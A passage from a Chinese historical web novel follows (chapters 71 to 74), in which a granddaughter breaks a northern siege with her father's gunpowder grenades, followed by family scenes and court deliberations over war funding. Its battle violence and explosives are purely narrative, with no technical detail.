黑云压城城欲摧,嘶吼声夹杂着箭雨破空,云中镇的城门被北狄将士砸得摇摇欲坠,好似一记又一记的重石砸在将士心口处,沉闷得让人透不过气来。 陈将军临墙而站,眯眼打量城下兵马,“谁带的兵?” 副将在旁也努力的睁着眼睛看,“太黑了,瞧不清。” 流矢破空飞来,二人朝旁躲开,肩膀撞在了一侧石墙。 咣的一声,不疼,但也惹人心惊。 “闭城不战非是长久之计,将军,末将请战!”旁边年轻气盛的小将拱手道。 “歇着吧!”陈将军没好气道。 没了斥候,便是失了眼睛,他们此刻连城下人马多少都尚未可知,战什么,去送人头吗? 底下的攻城足有两刻钟,两个身穿盔甲的小卒上了城墙,禀道:“将军,粗略估计,城外得有两千兵马。” 说话那人略停顿,又道:“瞧着像是北狄的精锐之师。” “两千……”陈将军念道。 草原各部落聚成一个王庭,逐水草而居,比不得中原地广人丰,边关驻扎的大军顶多五千精锐,今夜竟是出了半数? 可端瞧太傅的神色,分明是笃定北狄会签立那纸盟书,今日天亮,那北狄的宰相便要过来签文书了,总不能拖拉三日,便是为着他们今夜松懈而攻城吧? “可瞧清那带兵之人是谁了吗?”陈将军问。 那两个斥候小卒对视一眼,神色有些为难。 “说啊,吞吞吐吐的做甚!”陈将军啧了声,急躁道。 “回禀将军,是孟固安。”其一斥候说。 城墙上忽的陷入一阵短暂的失声,诡异又沉默。 孟固安是强大的,朝中的连胜将军,从戎之人,听其名讳谁人不仰慕? 他也是边关百姓心中的倚仗。 从前孟家守边关,百姓何曾担心过北狄铁骑踏入云中?孟家世代出战神,是立在云中镇的防线,有孟家在,有孟固安在,他们大可高枕无忧。 可便是这样骁勇悍将,投敌北狄,百姓篮子里的臭鸡蛋都能将孟家大门淹了去。 孟家倒下后,刚夺回的燕云五州又变成了失地,陈将军还是毛头小将时,跟着提携有恩的老将军,他们在云中镇扎根,可不管是他,还是老将军,竭力一生,都没能将五州收回。 陈将军没跟孟固安交过手。 说得仔细些,孟固安投敌后,有两年甚至是毫无踪迹的,都无人知晓他还活着,边关将士对他投敌还是身死之事尚且存疑。 或者说,边关许多将士,宁愿相信是官家鸟尽弓藏,也不愿信孟固安投敌。 而当此事确信,还是孟家大小姐死在孟固安手下之时。 自此,十几年,孟固安销声匿迹,听说是在北地王庭当了异姓王,称‘那颜王’,备受北狄王宠信,可不管旁人如何说,边关都没再出现过他的踪影。 “艹他娘的!” 不知谁粗声骂了句。 陈将军心口拔凉,沉沉的吐出口气。 箭矢如雨,嘈杂的重声夹杂着呼啸的寒风。 “将军!末将请战!” “将军……” 陈将军抬了抬手,止住请战的众人,沉着吩咐道:“马副将,你带一千人马,从西门出,秦将军,你点一千人马,从东门出,咱们一起去会会那投敌叛国之人!” “是!” “末将领命!” 两位将军握着武器凛凛先行下了城墙。 一刻钟后,陈将军从亲信手中接过自己的长枪,身披夜色往城墙下去。 从前有多少敬仰,如今便有多少恨意。 孟固安可以不保护疆土,但不能将手中的刀,刀刃朝着故土将士!有多少人救过他,又有多少人撑起尸骨铺就他战神之路! 城墙上的弓箭手将那源源不断补上的攻城将士阻隔。 底下,城门同时打开,马蹄声震得地动山摇,刀剑与血肉混迹。 陈将军率一千兵马出城,厚重的城门在将士们身后缓缓阖上,在这浓墨夜色里,与那坚不可摧的城墙几欲融为一体。 黑夜模糊了人的视线,便是连耳边都尽是厮杀嘶吼声,金戈铁马,飞溅的温热鲜血,好像永瞧不见前方无尽头的黑。 营地里,一小队人马回来。 “吁——” “将军!” “太傅可在帐中?” 营帐中烛火亮着,隐隐瞧的见黑黢黢的身影。 “进来吧。” 帐中声音传了出来。 年轻的小将掀帘跨入,朝烛火旁静坐的人拱手道:“太傅,外面北狄攻城了,陈将军说,此次盟书大抵是签不了了,将军命我等护送太傅回京。” 徐鉴实身上披着件玄色氅衣,面上有些夙夜未眠的困倦,他捏捏眉心道:“不必操心我,让你们将军安心守城。” “可……”军令如山,不敢违背。 “城中方起战事,我便连夜离开,来日百姓知晓,戳我脊梁骨事小,可营中将士瞧见我避战,乱了军心事大,”徐鉴实温声道,“谁的性命都紧要,我与旁人无甚不同,不过是提刀的手如今握着笔罢了,我帮不得你们战事辛苦,自也不好添乱,我便在此处,若有可尽绵薄之力处,请陈将军尽管开口就是。” 小将愣了愣,又行礼后退出了营帐。 北狄王庭。 烽火连天,夜半三更,斥候将军情报到了北狄将军帐中。 “孟固安?”耶律宝困得眼皮打褶皱,“他将兵马调走了?宰相不是说明儿议和?” 斥候也不知道啊! 他试探问:“莫不是汗王发了旨意?” 话出口,便被狠狠瞪了。 斥候连忙低垂脑袋。 耶律宝起身穿盔甲,冷哼道:“有什么旨意是单他知道的?这边关守将索性换成他孟固安去!” 不只是耶律宝,营中睡着的宰相也被惊醒了。 “这、这孟固安是得了汗王的旨意?” 耶律宝:…… 前方战事未停,营中众人坐着,茫然又困。 哪怕是孟固安私自调兵去攻打,他们也不能此刻将人拦下,既已发兵,便如铉上之箭,断不能回头。 更何况,那盟书于他们是大耻,汗王本也有意发兵南下,孟固安若是能夺下云中镇,也是大功一件,破了这几座城池,打过雁门关,汴京便犹如他们的囊中之物! 想到此,耶律宝抠了抠眼屎,问身边亲兵:“营中还剩多少兵马?” “回将军,还剩三千。” “去点两千,本将军去襄助他孟固安。”耶律宝说。 一鼓作气,再而衰,三而竭,攻城便是要如此。 云中镇虽是有一万精锐,可他们草原儿郎,那是能以一当十的,数年不战,他倒是要瞧瞧,这是多难啃的硬骨头! 宰相劝道:“咱们都没收到汗王旨意,将军还是不要贸然出兵为好。” “宰相也太胆小了些,才给汴京那些人欺负到了脑袋上,你能忍,我可忍不了,况且,那盟书订立百余年,要我说,早该变一变了!今夜便是良机!宰相回去睡觉吧,等我率大军得胜归来!”耶律宝粗声道。 将至五更,黑漆漆的天色变得蓝雾雾。 马踏尸身,溅起的都是人血。 陈将军气喘吁吁,啐了口血腥气重的唾沫,双臂沉得厉害,一后背相靠的副将也精疲力竭,身上几道刀伤渗血。 “将军,我掩护你回城!”副将粗声嘶哑道。 “快了,天快亮了。”陈将军抹了把脸上不知血还是汗,手中长枪快速抡出,将一个北狄小兵收了命。 两个时辰,竟是如此之慢,慢得让人想死,却又不甘心真的赴死。 带出来的三千士兵,与北狄的将士折损将半。 陈将军余光瞥向另处,孟固安一袭白发在风中张扬,挥刀力劲,一招一式都是自沙场中练出来的,轻易便将人头颅砍下,马蹄毫不留情的踩过,踏成了泥浆。 陈将军心口狠狠一跳,双目猩红,目眦欲裂的瞪着那始终沉着的孟固安。 “将军!”副将大喊一声。 陈将军霎时回神,手中长枪几乎是生了意识般的出招格挡,抵住了朝他心口刺来的弯刀。 忽的,震天动地的马蹄声呼啸而来。 众人回首,便见北狄铁骑浩荡袭来。 “艹!是耶律宝率援军来了!” 副将啐道。 “将军,咱们掩护你回城!不可恋战!”秦将军道。 陈将军咽了口冰凉的唾沫,刚想吩咐收兵回城,却是变故陡生! “砰!” “砰!” “砰——” 只见那北狄将士的迅速间笼罩在乌黑麻漆的烟雾中,伴着撕心裂肺的嚎叫! 便是脚下的地都为之震颤! 陈将军打了个冷嗝儿,“什、什么东西?” 马副将也傻眼了,脸上沾着血,木愣愣的,“北狄援军死透了?” “驾!” 只见那逐渐散薄的烟雾中,一道纤丽身影驾马奔来,手中弯刀歃血,绛红的披风在半空张扬,犹如血日来临。 第72章 火药弹。 “孟、孟大小姐……” 陈将军眸底狠狠一震,不觉喃喃出声。 说起孟灵,孟氏一族的小辈中,数她天资聪颖,孟家儿郎三岁练功,十岁握剑,孟灵不过八岁,便开始习了孟家剑法。有她在,孟家儿郎都逊色许多,后不知为何,孟灵竟是与孟固安一样,弃了孟家剑法,改用了弯刀。 陈将军犹记得,也是这样的寒风里,孟灵背刀跨马,身披氅衣,刀与刀碰撞,擦着火星,好似两只头狼在争,那也是自孟家倒后,孟固安唯一一次出现在人前。 孟灵眉眼不肖孟固安,可那双眼睛里透出的杀伐却是如出一辙。 那夜,孟灵死了,与她一道的郎君不知所踪。 不过须臾间,那匹骏马奔到了跟前,陡然勒缰绳,汗血宝马嘶鸣一声,扬起马蹄。 陈将军霎时回神,望着眼前之人,心口一紧。 眼前自缭绕烟雾中单刀赴会般冲出来的少女,眉眼与多年前惊鸿一瞥的贵女如出一辙,分明是张芙蓉面,便是沾染了烟灰,也依旧美得不可方物,却是自那双明眸善睐的眼里,可以清晰的瞧见杀心。 华缨安抚的摸了摸宝马鬓毛,目光垂落,看着眼前盔甲满是鲜血的将军,道:“还请将军下令,撤军回城!” 陈将军咽了咽唾沫,寻回声音,“撤——” 天色将亮,浅白的日光穿透黑夜的云层,遥远的山峦间窥见些许天光。 华缨高坐马背,漆黑浓墨的眼睛望着不远处满头华发之人。 后者也在回望她。 很奇怪,她分明是没见过孟固安的,可是,瞧见那人,她便分外笃定,眼前之人,就是她血海深仇的始作俑者。 风雪不会对谁宽容,徐鉴实渐年迈,眼前脚踏血泥的孟固安也是,只是比起徐鉴实那副清瘦些的身躯,孟固安健壮,犹如一株苍松。 四目相对,华缨自那双浑浊的眼里,瞧见几分悲悯,却觉可笑。 亲手弑女之人,满身杀孽,还想当菩萨不成? 二人之间相去不远,华缨腰间塞着的火药弹便能轻易性命夺了去。 可她没动。 此处尚且站着浴血奋战的无辜将士,他们不该为孟固安陪葬,她也不想,承那杀孽。 城门开,消寂了片刻的战事又起。 华缨收回目光,毫无留恋的驾马直奔城门而去,速度之快,如冬日寒风掠过,手中弯刀挥抬,斩杀了一路的北狄将士。 远处,孟固安看着那道如疾风的身影,忽的想仰天大笑。 这狗老天爷! 活该他孟固安贱命一条,一生挣不脱樊笼,听之任之的被戏耍至此! 大军撤回营内。 天色灰蒙蒙的,营中各处忙乱的紧,当属军营为甚。 “将军不必跟着我,去寻军营处理伤处吧。”华缨道。 她脚下步子急,虽知祖父无碍,但总要瞧见人心里才能踏实。 陈将军:“还是末将送徐大小姐过去吧,军中人杂,仔细那个不长眼的冲撞了您。” 华缨眉毛轻抬了下,唇角抿笑道:“将军有话想问?” 被戳破心思,陈将军面上露出几分尴尬,挠挠乱糟糟的脑袋,讪讪道:“末将是有一事想问……” “将军但说无妨。”华缨道。 她这般爽快,陈将军顿时面露喜色,虔诚问:“您刚刚用的那是什么?” “那个啊,”华缨眼一抬,瞧见了营帐外守着的禁军,脚下步子更快,携着些逗人玩儿似的春风得意,侧首瞧着他,眼眸弯弯道:“爆竹啊,将军没见过?” 陈将军:…… 他见过吗? 华缨说是让他问,可没说自己会老实答,不能怪她啦。 怀璧其罪,这东西虽是好用,但若为有心之人嫉妒,恐生忧患。 唉。 爹爹真让她为难呢。 华缨没等营帐前的禁卫军通秉,便唰的掀帘入了内。 她这般熟稔,倒是后面跟着的陈将军步子一止,有些不知所措的茫然,跟两个禁卫军大眼瞪小眼。 徐鉴实整夜未睡,直至方才,听着鸣金收兵,心口才缓缓平复了些,坐在案桌前研墨,提笔写送往汴京的折子。 经此一役,无论北狄何心,盟书之事自是无可再谈。 还有…… 冰凉的寒风有一瞬的侵袭,徐鉴实抬眼看向帐帘,忽而神色顿住。 “祖父!” 华缨脆生生的喊,跑过来便冻得发红的手捂进了祖父的氅衣里。 徐鉴实:…… 冰凉和着血腥气直往鼻子里钻,徐鉴实恍了瞬,回过神来,“泱泱?” “嗯呐。” 华缨乖巧应。 徐鉴实喉口好似堵了棉花,满腹的话竟是一句都说不出。 边关之地危险,她一个姑娘家怎敢来? 可是泱泱说,她早晚是要来杀孟固安的。 怎偏是今儿晨起? 可见过了城外的尸山血海? 徐九涣那不着调的呢? 怎只她一人? “欸?”华缨看向帐外,纳罕道:“陈将军回去啦?” 帐外的陈将军闻言,嘴角轻抽了下,掀帘进来,对上那处孺慕的祖孙俩的目光,颇觉拘谨,“太傅,昨夜是孟固安领兵袭城,盟书大抵是不成了。” 徐鉴实颔首,“我听小将说了,多谢将军百忙之中还要照顾我,实在惭愧。” “太傅折煞末将了。”陈将军连忙摆手道,他真诚的目光往旁边飘忽了下,又道:“方才北狄援军至,末将能撤军回城,也是多亏了徐大小姐点了爆竹,不然末将与外面的将士们,怕是要殒命在城门前了。” 徐鉴实神色顿了下,温声道:“她年纪浅,不周之处还望将军与将士们海涵。” 互相客气两句,陈将军半句也没套出那威猛的爆竹是何物,对上徐大小姐幽幽的目光一瞬,灰溜溜的赶紧告辞了。 等人走,帐中只剩他们祖孙二人了。 徐鉴实道:“你爹呢,你自己来的?” 华缨将身上的盔甲脱去,一身轻的坐在小凳子上,浸湿帕子擦脸,道:“爹爹在雁门关呢,随后跟大军一同到。” 说着,她仰着白生生的小脸问:“祖父不想问我那爆竹之事?” 徐鉴实唇角往下压了下,叹息一声,看着她说:“是火药吧。” “誒?”华缨眼眸骤亮,瞬即弯成了一道好看的月牙,“祖父知道?” 方才华缨掀帘进帐,徐鉴实便闻到了,血腥气重夹杂着一股子刺鼻的火药味,若是寻常爆竹,哪里能沾染这般重,便是血腥之气都压不住。 华缨在铜盆里揉揉小帕子,拧干又擦一遍脸,“我怕生变,便快马加鞭来见祖父啦,爹爹跟不上我的汗血宝马,索性与驻扎在雁门关的将士一道行,临行前,虽是没有爹爹临行密缝的棉衣,但有爹爹塞给我的几颗火药弹!” 徐鉴实眼皮狠跳了下,“火药弹?” 华缨乖巧点脑袋,“就是黑黢黢的,扔出去就炸了,跟爆竹似的。” “伤亡如何?”徐鉴实问。 华缨想了想,老实巴交道:“北狄那些个援军都没拦住我。” 徐鉴实:…… 他心口忽的有些五味成杂,那些个同僚都夸赞,次子有他之风,但众人默契咽回去的那句,是长子不成器。 徐鉴实有时也会想,若是有朝一日他落尘为土,徐九涣还是那副只会挥霍银钱的纨绔模样,该怎么办? 徐鉴实想啊想,便是至如今,也未想出什么周全的法子来。 委实让人头疼的紧。 可是,这让北狄退避三舍的火药弹,是他制的。 徐鉴实本该是如旁人般惊讶,可偏偏心口缓动,只觉合该如此。 一如从前他与亡妻说,此子聪慧,便是日后功绩斐然,也不可骄傲。 徐鉴实缓缓呼出口气,好似长久来紧绷的什么,在此刻慢慢的松懈下来,筋骨觉得乏累,脑中飘飘然。 “这火药弹我没与旁人说,对着陈将军也搪塞了去,更没提爹爹,”华缨说,“祖父,这事瞒不住,但也追究不清,等爹爹来了再说吧。” 徐鉴实想说,这般功绩,何必瞒着? 可想起长子那副万事散漫的架势,又将这话咽了回去,不可将他想作寻常人,两袖清风,深藏功与名的洒脱,还当真是他能做得出的。 徐鉴实颔首应了。 今日天色不好,纵然已至辰时,天依旧灰蒙蒙的,瞧着是有一场大雪要落。 华缨吸溜着香麻的羊汤,咬一口肉饼,吃得满头大汗。 徐鉴实将袖中的帕子递给她,“慢些吃,还有。” 华缨囫囵擦了擦脑门儿上的汗,又盛一碗羊汤,这才放慢了些汤匙。 她当真是饿了呢,赶着夜路直奔云中镇来,还想赶早尝一碗城中小摊上的羊汤呢,却是不想正遇上了北狄攻城。 “祖父,此处要战,等大军抵达,您与爹爹回京吧。”华缨道。 徐鉴实是奉命来与北狄筹议的,如今北狄攻城,便是将圣祖时的盟书也撕毁了,这一仗,定是要打的。 既是筹议不成,徐鉴实自然该早日回京的。 “再等等吧。”徐鉴实含着茶水漱了口,“先将折子送回京,等官家裁夺。” 赵徵虽是年幼些,但帝王威严断不容挑衅。 再者,徐鉴实也不觉得,徐九涣愿意回去。 他若是当真将那桩仇怨放下了,这懒蛋又怎会费力气制这火药弹? 徐鉴实心里不安,却也不能劝说他后退。 第73章 这世间扬我之名就够了。…… 天色彻明,灰蒙蒙的笼罩着一方焦土,尸横遍野。 耶律宝所率的部将,因那火药之威,竟是折损有小半数,地上横尸焦黑,寸草不生。 便是活着的,也多有伤,此刻耷拉着脑袋,士气颓靡,犹如乌云压在脑袋上,让人抬不起头来。 耶律宝的脸色更是难看至极,捂着被炸伤的手臂斥责孟固安不顾军令,私自调兵攻城! 孟固安看着残损的部将,疲倦苍老的脸上无神,破旧的披风被寒风吹得猎猎作响,人渺小于天地间,当真如一粒粟。 先朝术士炼丹药,将那丹炉炸了,自此,火药横空出世。 贵族贪图享乐,将火药制了烟火,每到宫宴节日之时,少不得要放烟火庆贺。 军中也不乏有将士,想要将火药用来战场,毕竟,威力之猛,如虎添翼。 可不管是前朝,还是今朝,从未有制火药弹的才能之辈降世。 孟固安从前在军中听老将军们唏嘘遗憾,却是心觉没什么能快过他手中的刀。 可地上成了焦土的尸首,怕是连自己如何丧命的都不知道。 “回营!”孟固安抬起手臂喊了声,率先翻身上马,离了这遍野横尸之地。 耶律宝被他无视,脸唰的红了,牙关咬紧,瞪着那道背影眼神之用力,目眦欲裂。 他低声与副将道:“回去便去书给汗王,要赶在孟固安之前!” 副将一凛,连忙应声。 营中。 陈将军几个主将也在说火药弹。 他们可是亲眼所见那火药弹威力的。 若说北狄援军铁骑如马踏冰河,那火药弹便如开山劈海之势。 “还好离得远,我当时都觉得,轰然的热扑到了脸上。”秦将军叹道。 “徐大小姐可说,那是如何得来的?还有没?”马副将殷切问。 陈将军露着半截膀子,包扎着伤口,另只手端起羊汤几口喝完,一抹嘴,说:“不知道。” “将军送徐大小姐过去,就没问问?”马副将不死心道。 陈将军心想,哪里是他不想问,分明是瞧着那祖孙俩有隐情,不愿多说。 他如何能追问?惹人憎厌。 甚至,他觉得,若非是北狄援军至,徐华缨都未必会将那‘爆竹’拿出来,示于人前。 此时,华缨在营中也当真是懊恼的紧呢。 “爹爹这样慢,我都没有干净衣裳换。” 禁卫军帮华缨在徐鉴实帐中搭了个小木架子床,此刻她捂着小被子坐在床上,刚洗过的长发湿漉漉的。 徐鉴实在桌案旁研墨,正写今早时被搁置的折子。 闻言,道:“一会儿让人替你去镇上买两身来。” 这话正中华缨下怀,她笑眯眯眼,“花祖父的银子!” 徐鉴实无奈抬首看她一眼,“头发擦擦,仔细风寒。” 小姑娘臭美,也是随了亲爹的根儿,这般冷的天儿,也要洗发。 片刻,徐鉴实放下手中狼毫,换了帐外的禁卫军进来,将墨迹干涸的折子递去,道:“快马加鞭送回去,尽早呈送御前。” “是。” 半上午,陈将军与几位将军过来了,求见太傅。 守城之事,本该是他们做主,可徐鉴实承帝命来,身后还有三万援军,陈将军思索了片刻,索性带着众人过来,在太傅营中议事就是了。 华缨头发用根乌木簪绾了个小揪,身上穿着徐鉴实灰扑扑的外袍,挽了几道衣袖,背对几人坐在炭火盆边,自身后瞧,活脱脱是哪个跳脱的小兵来蹭火烤的。 “你是谁麾下的兵,怎在太傅营中烤火,没规矩。”一个身圆面黑的将军斥道。 华缨扭头疑惑脸:? 骂她做甚? 陈将军张嘴慢了一瞬,面上讪讪,“……这是徐大小姐。” 刚进帐的几位将军面色尴尬,想走了。 华缨倒也没计较,问:“诸位将军来寻祖父议事?” 陈将军颔首,“今日攻城之事,还有与北狄开战的事,要与太傅一议。” 华缨戳了戳炭盆里的火星子,仰着白生生的脸说:“祖父去镇上给我买新衣裳去了,走了有半个时辰。” 众人:…… 倒也不是华缨想劳累祖父去,实在是营中连伙夫都是男人,她一云英未嫁的小姑娘,使唤男子替她买衣裳,委实失礼。 而华缨洗得干干净净,也不想穿那脏衣裳再沾染满身的灰尘和火药硝烟味,只能祖父去啦! “那我们午后再过来。”陈将军道。 他朝帐外走了两步,瞥见旁边那张小木架床,扭头殷勤道:“我让人再给您收拾一间帐篷出来,就在太傅旁边,可否?” 华缨真诚感谢,手指从衣袖中竖起两根来,“能否扎两顶帐篷啊?” 陈将军神色疑惑。 华缨笑得不好意思,“我爹爹随大军约莫明日到。” 陈将军:。 事实上,徐九涣根本跟不上大军! 在营中睡了两夜,第三日,大军拔营北上去了。 人家要日行千里,他要沐浴更衣,打尖儿吃热汤饭。 徐九涣也当真有自知之明呢,没拖着大军后腿,自个儿麻溜的滚蛋了。 驾马车的老八有些憋屈。 官家信他,要他隐在暗处,跟着徐大小姐随身保护。 可是! 他又被徐大小姐捉住了! 憋屈! 当真是憋屈! 想他堂堂官家的贴身暗卫,踪迹藏不好,还要被威胁,如今跟着徐大爷,好啦,藏都不必藏了,还得干着马夫的营生吃口饭。 马车里,徐九涣也不知捣鼓什么,左右是每日下马车,不是去撒尿,就是去吃饭。 两日的路程他们走了三日,才总算是看见了云中镇的城门。 华缨也等得花儿都要谢啦! 跟着陈将军巡视护城墙,瞧见那熟悉的马车,登时咧着嘴巴笑得好不开怀,噔噔噔的踩着石阶便跑了下来,站在城门前接爹爹! 老八长舒口气,他心里苦哇,徐大爷吃不到热饭就让他去打野味儿,这寒冬腊月的,谁不猫冬啊? 难、难、难! “爹爹!”华缨飞身上了马车,麻利的钻了进去。 老八:…… 厚厚的棉絮车帘子,撩起淡淡的火药味。 徐九涣撩起眼皮瞅了闺女一眼,道:“胖了。” 华缨:“……那是衣裳穿的厚!” 才不是她胖! 徐九涣耸耸肩,手上还忙着矮案上的东西。 华缨嘀嘀咕咕,将这几日营中之人明里暗里打探火药弹的事与他说了,睁着双滴溜溜的桃花眼,好似请示当如何。 徐九涣眼下有淡淡的乌青色,精神瞧着乏累,抬手往她脑门儿上抵着,将她脑袋推远些,“别想偷师。” 华缨汗颜。 “人家成一家之功法,都是要传后人的,爹爹后人只有我,我这般聪慧,定不堕你之名!” 徐九涣轻嗤了声,声音轻飘飘的,“别了吧,这世间扬我之名就够了。” “小气。”华缨鼓着脸颊说。 “这叫什么?”徐九涣忽的撩起眼皮问她。 华缨没反应过来,“什么?” 徐九涣掂了掂掌心的黑黢黢弹丸,道:“这叫雷火弹,名儿都喊不对,还想当什么传人。” 华缨被他那两下动作,吓得眼睛都瞪圆了,顾不得计较他嘲笑,咽了咽口水,小声说:“爹爹,这个很厉害的!” 徐九涣像是被她这副土包子的样子逗笑了,后背靠在软枕上,笑得别过了脸。 华缨瞅他片刻,幽幽道:“爹爹见我,原是这般欢喜呢。” 华缨那日用,也是头回见识到这火药……雷火弹的威力,委实是因徐九涣将这几颗圆蛋蛋塞给她时太过风轻云淡—— ‘打不过扔了这个就跑。’ 华缨扔了,纵马自那北狄援军中横穿而过,跑进了城门。 这几日,城门戒备森严,遇着谁的马车都会搜寻一番,以防有北狄之人混迹其中。 但因华缨飞身上了马车,城门前的小卒接过老八递来的路引文书看过,便放了行。 徐九涣将矮案上的东西收拾到了旁边的小木匣子里,连个锁头都懒怠挂,舒展双腿,撩起旁边的帘子瞧向外面。 招幡被寒风吹得在半空招摇,羊汤豆腐脑热气腾腾,隔着老远便嗅到了香味儿,旁边卖炊饼的粗圆男人甩着膀子正揉面,糖葫芦小摊前围着几个垂涎三尺的小孩儿。 小闺女都长这么大了,这里还是如故呢。 徐九涣心想。 都说边关苦寒,可偏有人喜欢这里的风,这里的雪,甚至……这里硬邦邦的炊饼。 “去,给我买张炊饼的,要他家的。” 徐九涣手指朝外面门庭冷落的小摊指了下。 华缨凑着脑袋去瞧,顿时皱巴着脸,“他家的不好吃,忒硬啦!” 徐九涣笑,“行啊,都尝过了?” 这几日,华缨跟着陈将军满城的跑,城防一日能看三遍,便是连武器库都要清点,有时在外赶不上吃饭,自是要在外面下馆子的。 华缨看着他,却是觉得爹爹明明在笑,却又很难过。而那双眼睛,是在看她,又不是。 华缨想了想,说:“我那日来,见到了孟固安,他老了,我都不必等他背不了刀,跨不上马的那日。” 徐九涣扯了扯唇角,道:“给你雷火弹,也不是让你去寻仇的。” 他只是……恐惧帮不了她,藏在泥土塑身中,看着她死去。 第74章 我要十万两的嫁妆钱。…… 汴京。 不过数日,边关军报便呈送了御前,有徐鉴实写的折子,也有陈将军写的军情机要。 北狄攻城一战,三千人马损失近半数,因华缨带着雷火弹出其不意,重创敌军,我朝士气大振,只等官家下令,出兵北狄。 徐鉴实的折子,则是奏禀了筹议之事,攻城一事,寥寥几笔,比不得陈将军详尽。他未言攻还是守,战还是议,此时尽数交于他裁夺。 入了冬,崇政殿烧着地龙,门窗关着,闷得满殿皆是那熏炉的香。 赵徵吃了碗凉茶,在殿中枯坐片刻,让闻津去请了几位肱骨老臣来崇政殿议事。 他将徐鉴实的奏折递给几人阅览,道:“诸位如何想?” 户部的尚书大人先开了口,“老臣斗胆直言了,近年关,宫里各处都要花银子,但因陛下空置后宫,那依照往年所用的银钱今岁可折半,正因此,那半数银子拿去安置了粮草,陛下也瞧过账册,账上银子委实所剩无几,不违农时,明年春耕的那笔银子是万万不能动的,如此,粮草也只够两个月的。” 战与否,户部尚书没说死,徐鉴实那老狐狸身为太傅,都没在此事上透出半分意见口风给官家,他又怎敢? 年轻的帝王,或莽撞,但也野心勃勃。 另位大臣,将徐鉴实的折子看罢,道:“老臣以为,此战已避无可避,陛下派太傅大人前去筹议,满朝之中,除却陛下,无人比他更受崇敬,如此,都受北狄如此怠慢,再有,北狄之人先前挑衅试探边关,早已有不臣之心,圣祖帝时的盟书,庇佑不了我们如今的朝政与百姓了。” “可粮草短缺,要让将士们饿着肚子去打仗吗?”兵部尚书道。 兵部尚书出身行伍,与这几人出生富贵的不同,沙场的苦,他最是清楚不过。 “如今已经十一月了,照着往年,十一月中旬,边关定是要落雪的,届时行军打仗更是艰难,若是粮草不足,将士们体力不支,定然损失惨重,便是用尸骨也挡不住北狄铁骑。” “那你说是战还是不战?”那老臣急性问。 “这不是在商议嘛,”户部尚书赶忙道,“别急。” “若不然,先与北狄开战,若是粮草用完,还未分得胜负,届时再派人去筹议,不也便宜?” 兵部尚书不赞同,“既是开了战,哪有打到一半止兵戈的道理?再者说,若是给北狄知晓咱们的粮草不够,便是拖他们也能拖到明年开春再战,可咱们那出征的三万兵马,是要驻扎边关威慑,还是回来?” 户部尚书点头,“是这个道理。” “这也不行,那也不行,你们说咋办?” 老臣摊着双手急吼吼问。 话音落下,三双眼睛都望向了赵徵。 赵徵看着桌案上的一小支枯梅花好似在出神,半晌没动静。 三人面面相觑,互相眼神示意催促,正起劲儿呢,忽的听赵徵开了口。 “如诸位所言,此战避不开。” 赵徵看向户部尚书,“为先帝服丧,宫中用度削减一半,此次宫宴也免了,所耗银钱皆换御寒之物,送去边关。” 户部尚书嘴唇动了动,没说出话来。 后宫乃是太后娘娘做主,官家要将用度减半,太后若是不愿呢? “粮草,最迟冬日,会有着落的。”赵徵又说。 话出口。 殿中三人齐齐的心口沉了下。 户部尚书都抠不出的银子,赵徵要从哪儿抠? 边关如今四万兵马,所耗粮草岂是敢想? 可他又这般笃定,冬月定会有粮草送去…… 几人从崇政殿出来,心情犹如外面的天儿,日沉月升。 大军是偷摸儿走的,莫说是汴京的百姓,就是些达官显贵都并未知晓。 是以,翌日早朝之时,赵徵将北狄攻城之事说了,并决定出兵北狄。苏余兴眼睛亮了,连忙出列,“臣请率兵伐北狄!” “尹老将军率大军,已抵达边关。”赵徵道。 苏余兴:? 他不是告假了吗! 挨着国丧,亲事到底是没有多热闹。 冬月成亲,镇国公府到这会儿便是连红绸都还没挂,府中上下冷冷清清的。 苏余兴一回来,下人便来与苏扶楹禀道:“国公爷回来了,脸色瞧着不大好。” 苏扶楹‘嗯’了声,纤白的手轻扶了下发髻上的玉簪,“他去了杨姨娘的院子?” 丫鬟摇首,与她附耳低声道:“国公爷去了夫人的院子。” 也不知自何时,苏余兴又喜欢了明氏的温顺不多言,如今偶尔,也会去明氏的院子坐坐,或是宿在那院儿。 为此,杨姨娘在府里发了一通脾气,被苏扶楹收拾了一顿,这些时日,倒是不常出院子了。 苏扶楹过来主院时,苏余兴与明氏正用早饭。 明氏吩咐丫鬟,“去那一副碗筷来给阿楹。” 比起明氏温柔和顺,苏余兴瞧着苏扶楹便不待见了,粗重的眉毛打结似的皱着,问:“你怎过来了?” 苏扶楹在丫鬟搬来的椅子上落座,闻言,淡淡道:“我将出阁,还未见父亲让人将压箱银子送来,自是要来问上一问了。” 明氏膝下只苏扶楹这个闺女,她出阁,明氏原是将自个儿的嫁妆还有手里攒下的田庄铺子都给她了的,但是苏扶楹没要,只拿了半数,另一半,给她留着傍身。 苏扶楹话说完,明氏颇为紧张的看向了苏余兴。 苏余兴则是黑了脸。 “无事也想不起我这个爹来,有事倒是记得我还活着。”他嘲讽道。 苏扶楹不痛不痒,目光依旧平和安静,“您若是不愿给,我倒是也能当作没有父亲。” “啪!” 苏余兴手中的筷子拍在了案桌上,怒目瞪她。 明氏被吓得抖了下,唇嗫喏几下,像是想劝苏扶楹服个软儿,又没说出口。 门前取来碗筷的丫鬟也被吓了一跳,端着碗筷有些犹豫,不知该不该进去。 苏扶楹的丫鬟瞧见,过去接过,替自家小姐布菜。 苏余兴气得要命,见苏扶楹却是没事人似的,该吃吃该喝喝,顿时一口气憋在心口,下不去也上不来。 “官家早早派了尹老将军率兵前往边关,我半点不知道,丢了好大的脸面!你还吃得下!”苏余兴气道。 闻言,苏扶楹微抬首,“父亲自请率兵了?” 苏余兴:“哼。” 鼻子出气。 “何必自讨苦吃。”苏扶楹又道。 苏余兴猛然扭头,看向明氏,指着那不孝女道:“瞧瞧,你生的好女儿!!!” “父亲何必生气,官家既是不用你,那便是你不如尹老将军,无论是为将士们信服,还是攻伐谋略,都比不上人家。”苏扶楹说,略停顿片刻,又道:“这怪谁呢,父亲多久没去军营了,连大军被率走都不知。” 明氏扯扯闺女的袖子,示意她赶紧别说了。 苏扶楹看着苏余兴气得铁青的脸,“我若是父亲,既知万事比不过人家,索性夹起尾巴,不给官家添堵。” 赵徵既是要悄悄派大军前往边关,那便是生了要战的心思,而此战,要师出有名,要大获全胜。 尹老将军一辈子征战沙场,此次出征,自是挂帅的不二之选。 苏余兴性子急,又好大喜功,凭着祖上功绩才在营中勉强在尹老将军之上,可那些将士们,又有几个是真心信服他的? 苏余兴忿忿不平,却是不知道,自己从不在赵徵的那张出征文书上。 他若是能甘于平庸,老实过一辈子,自有花不完的银钱,享不尽的富贵。 